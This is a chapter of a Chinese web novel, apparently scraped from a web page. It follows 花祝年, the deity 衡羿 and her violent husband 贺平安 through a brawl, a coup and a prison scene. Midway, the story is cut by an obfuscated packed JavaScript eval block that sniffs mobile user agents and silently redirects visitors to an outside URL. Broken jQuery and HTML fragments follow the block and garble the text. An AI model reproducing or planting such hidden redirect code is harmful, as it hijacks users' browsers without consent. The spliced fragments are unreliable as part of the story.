104. 他纵容她在自己身上
作品:《我与仙君相识于微时》 花祝年头一次被吓得往后退了几步。
她没有想过一个人被烧成这样,居然还能站起来问她话。
这么结实的人,要是为她所用,该多好啊。
可惜他不忠于任何人。
衡羿看到她这反应都快要气死了。
他这儿都要烧死了,她居然在望着他走神儿?
也不回应他的话!
就是他完全不能理解,回应他一下怎么了?
为什么不理他?
她跟贺平安过日子的时候,也是这样!问她什么,要么就逃避,要么就不说,要么就装听不见!
别人都快急死了,她还在那儿跟只乌龟一样,定力极强地在做自己的事。
浇菜园子都能浇出花儿来,就是不肯理人一句是吗?
当初还在天上的时候,衡羿就觉得小信徒很像沉默的小乌龟。
没有人能逼迫她敞开心扉,若是强行凿开她的龟背,那只会看到血肉模糊的倔强。
犟种小老太真是气死个人!
其实,花祝年完全有理由不理衡羿的。
无论是他还是贺平安,为什么每次对方一跟她说话,她就要理呢?
就因为他们一个是神,另一个是她男人吗?
她不理,肯定有自己的理由。
要么是不想提,要么是不想应付,再要么就是说了也没用,要么是说了之后就挨一顿打……
总之,不理是最好的方式。
她既不求对方承认自己,也不承认对方。
以沉默应对。
但这真的会逼疯一个,迫切地想要同她交流的人。
纵使你是先知,你是神,你法力无边,你也不能让一个不愿开口的女人给予回应。
她有不理所有人的权力。
不愿意当众承认自己被打,不愿意讲出自己的私事。
况且,她并不知道他这样问自己的目的是什么?
不过,总不会是关心她。大概是跟风和畅他们一样,临死前想看她的笑话。
天底下只有爹娘会问她的伤口。
但是,他们已经不在了,她已经接受了这个事实,很多很多年了。
除此之外,她不会回应任何看似关切地问询。
就连鲁戎和虎翼,也没办法插手她跟贺平安之间的事。
因为他们是夫妻,离也离不了的那种。
其实鲁戎之前想让薛凡入后宫,也的确是为了花祝年着想,但她一心痴迷于权力……
花祝年走神儿的几秒内,贺平安粗着嗓子叫骂道:“你他妈挑拨什么呢?两口子过日子不都这样?那不是打,那是情——”
他的话还没说完,就看着一个火人朝着自己奔袭而来。
都来不及做出什么反应,就被衡羿摁倒在地上。
衡羿疯狂地暴揍着贺平安,内心明明在疯狂咆哮着,却一句话都说不出口。
他以为自己走后,他们会好好过日子的。
毕竟,小泥人儿也被她一箭射碎了,那再也不能成为他们之间的隔阂。
其实衡羿挺狗的。
他一直都知道他们过不好的根源在哪里。
但凡这三十年,他冷脸拒绝她一次,都不会让她供奉他这么久,贺平安心里的疙瘩也不会越结越大。
偏偏他就是不下来找她,可是也不拒绝她,但也从没有给她任何回应。
她记忆中的几次托梦,都是因为太惦念他,才臆想出来的。
他纵容她在自己身上,投放所有的情感,不知道是仁慈还是残忍。
花祝年跟贺平安过成这样,不能说衡羿一点儿责任没有,可以说大部分的责任都在他。
如今他打贺平安,也不知道是在用什么身份。
因为自己也很混乱。
花祝年见两人皆被烈火吞噬,于心不忍道:“把他弄出来。”
虽然她没有明说是谁,但衡羿知道,她肯定是要救贺平安。
他快要气死了!又几十年如一日地供奉他,可生死关头又救她男人,这算哪门子的喜欢?
可贺平安也觉得生气啊!
他跟这个阴魂不散的奸夫厮打在一起:“当初老子怎么就没砍死你呢?”
“你一个奸夫也是厉害起来了,敢挑衅正夫了,见过不要脸的,没见过这么不要脸的!”
“老子知道你心里有怨气,你肯定在想,为什么你年轻又健壮,可她还是不跟你?”
“老子就明白告诉你,她就是宁可跟着我这种又老又糙的,也不跟着你跟宋礼遇,气死你们这群狗日的!”
宋礼遇本来没想扯进来,可是听到贺平安的话后,他那股火又蹿上来了。
是啊,他妈的,凭什么贺平安这样粗鲁的烂男人,要霸占她那么多年?
不如趁这个机会弄死他。
他拎了杆蘸了水的旗子,就跟众人一起上去“救人”了。
别人是救人,只有他是真打。
不光打贺平安,另一个他也打,可是给他打爽了。
风和畅在一旁,将宋礼遇的操作尽收眼底,他觉得这些人真是丢人!
他们要是为了争权夺利也就罢了,三个人加起来快两百岁了。
居然在为了一个毒妇在打架。
花祝年在风和畅眼中,是世间最毒的毒妇。
很毒很毒的那种,比毒蛇还要毒上几分。
看一眼,就让人浑身发寒,他实在是想不出,她到底有哪里好。
这十五年来,他每次跟她吵完架,回去都是一个劲儿地做噩梦。
梦见她银白的头发,梦见她沧桑冷毅的脸,梦见她遒劲的老手一把捏爆他的蛋……
每到这时,风和畅都猛地从床上坐起来,吓出一身冷汗。
按理说,他不应该如此怕她的。
就算她现在年纪比他大,他怕她做什么呢?
他可是有着二十世记忆的人,每次都是活到七老八十,才寿终正寝。
阅历一点也不比她浅,她在他眼里,并不是如何威严的首领,也就跟黄毛小儿没什么区别。
风和畅思来想去,还是觉得都怪这个小老太,吵架动不动就说闲得他蛋疼。
他都不知道,一个女人,这是怎么说得出口的!
老了就不是女人了是吧。
这个老怪物。
风和畅觉得自己永远不会,对花祝年这样的毒妇感兴趣。
他恨不得她死,她当然也是!
可同时,他们又在某些事情上,出奇地契合。
风和畅从来对女人不感兴趣,女人只会影响他晋升的速度。
他看花祝年也是,只对权力着迷。某种程度上,他们也算一类人。
但一个老阴比,是绝不会爱上另一个老阴比的。
除非大发神经!
干碎他多年的布局,抢夺他的权力,将他固定在某个位置上,几十年如一日地榨干他的心血,却仅仅是成就她的死前幻想……
风和畅光是想想,就觉得一阵恶寒。
他真的非常不理解,是不是老怪物给这几个人,吃了什么迷魂药。
他们到底还要不要脸了?就这样在大庭广众之下地打了起来。
可就在他皱着眉头,嫌弃地吃瓜的时候,花祝年忽地晕了过去。
风和畅碍于表面关系,该做的功夫得做,就伸出手去扶了一把。
没扶住,还把他给带倒在地。几乎同时,咔嚓一声,手被压断了。
不是,这小老太后背怎么跟案板似的?
早知道不扶了。也没人告诉他,扶个小老太有这么大风险啊!
花祝年在众目睽睽之下晕倒,的确在风和畅的计划之内。
但他没料到,自己会跟着折进去一只手!
等把她抬进屋里,他才知道这手是怎么断的。
小老太里边穿戴了厚重的钢板。
怪不得倒下的时候,他听见哐当一声。
衡羿最终还是没死成。
不仅没死成,还被风和畅保护起来了。
他现在待他很好,就像当初待花祝年一样好。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13902407|132764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
因为他浑身多处烫伤,风和畅找了上好治疗烫伤的药膏来给他用。
还留了一屋子人伺候他,生怕他伤口溃烂。
花祝年那边就略显苍凉了。
第一天,还有贺平安跟宋礼遇。第二天,只有贺平安。第三天,已经什么人都没了。
鲁戎和虎翼不被允许去看她。
后来,有人要收鲁戎的兵符,可是鲁戎不交,反抗的时候差点被乱刀砍死。
她奄奄一息地被丢入监牢。
监牢里,还关着暴躁发疯的贺平安,在喋喋不休地咒骂着什么。
不过,无人在意他。
本来他是要黄袍加身的,风和畅也的确准备扶他做傀儡。
可现在出现了更合适的人。
那自然是换人来当。
有花祝年的时候,贺平安是潜在的边塞将领,是能分到蛋糕的人。就算不要封赏,他也是她的皇夫。
总之,待遇不会差到哪里去。
可一旦花祝年大权旁落,他就是条只会嘶吼的野狗。
鲁戎躺在地上,看着监牢里透着微光的小窗,等待自己的死亡。
她只知道要对外狠,却从没想过防内,原来自己人对自己人,也是这样狠的。当初一起在战场上杀敌的时候,仿佛是一场遥不可及的梦。
刀口渗出的血,浸染了地上的苇席。
囡吉过来给她上药,却被她凉凉地看了一眼。
她低头抹了把泪:“你就消停点儿吧,有我来看你就不错了,别嫌这嫌那的。”
鲁戎冷笑道:“你还是又跟了他,兵符也交出去了?”
囡吉拿出针线来给她缝伤口:“你真是蛮蠢的,怪不得老爷说,你这样的人,很容易死,让我离你远点儿。”
“你聪明。”
“我也不聪明,但我以为你很聪明。当初,我看你经常跟夫人不对付,还以为你是故意保持中立,防止别人夺权的时候殃及到你。原来你真的只是在给她闹小脾气,根本没想到今后的事。”
权力变更,人亡政息,是很正常的事,正常到几乎不可扭转。
眼看着大势已去,该交兵符就要交的。
所以,囡吉就交了,名字也改了,生怕风和畅的人找自己算账,还及时投靠了宋礼遇。
幸好宋礼遇愿意收留她。
鲁戎就傻很多了。
她还期望花祝年能醒过来,醒过来再带着她杀一场。
所以,死攥着兵符不放。
这就跟站队一个死人,没什么区别。
现在正是风和畅风头正盛的时候,肯定会挑刺头打压的。
鲁戎被整得这样惨,就算有人想站花祝年,也只能明哲保身。
所以,囡吉说鲁戎蠢得要命。
平日里闹得你死我活,可该撇清关系的时候,又倔强耿直地靠了上来。
真是个别扭怪。
囡吉缝着鲁戎的伤口,对她问道:“你知不知道,做人最重要的是什么?”
“身段柔软吗?”
“不,是灵活。灵了才能活!你要是找死,那谁也没办法。”
“这就是你改掉名字的原因?”
“如果夫人醒过来,她一定也会希望我这样做。活着是最重要的,不管怎样活着。人力太单薄了,时势造英雄,时势让你当泥鳅,那你就趴土里蛄蛹着,时势让你当龙,那你就飞龙在天。”
“不能说,时势让你当龙,你往泥里钻,时势让你当泥鳅,你要上天。你我都是普通人,就连夫人也是。这十几年我活得很开心,如果今后再没办法这样畅快,那也没关系。鸟儿能飞出去看一看也好啊,哪怕最后又回到笼子里。”
她将她身上的伤口一处处缝合,因为太多了,从晌午一直缝到了晚上。
缝到最后累得手都抬不起来。
囡吉吹灭烛火,对鲁戎说道:“等过几天,形势平稳一些了,老爷会去跟风和畅求情,你就跟着我们吧,至少还有条生路。这些年来,老爷从来没有站错队过,你真的不要太执拗了。”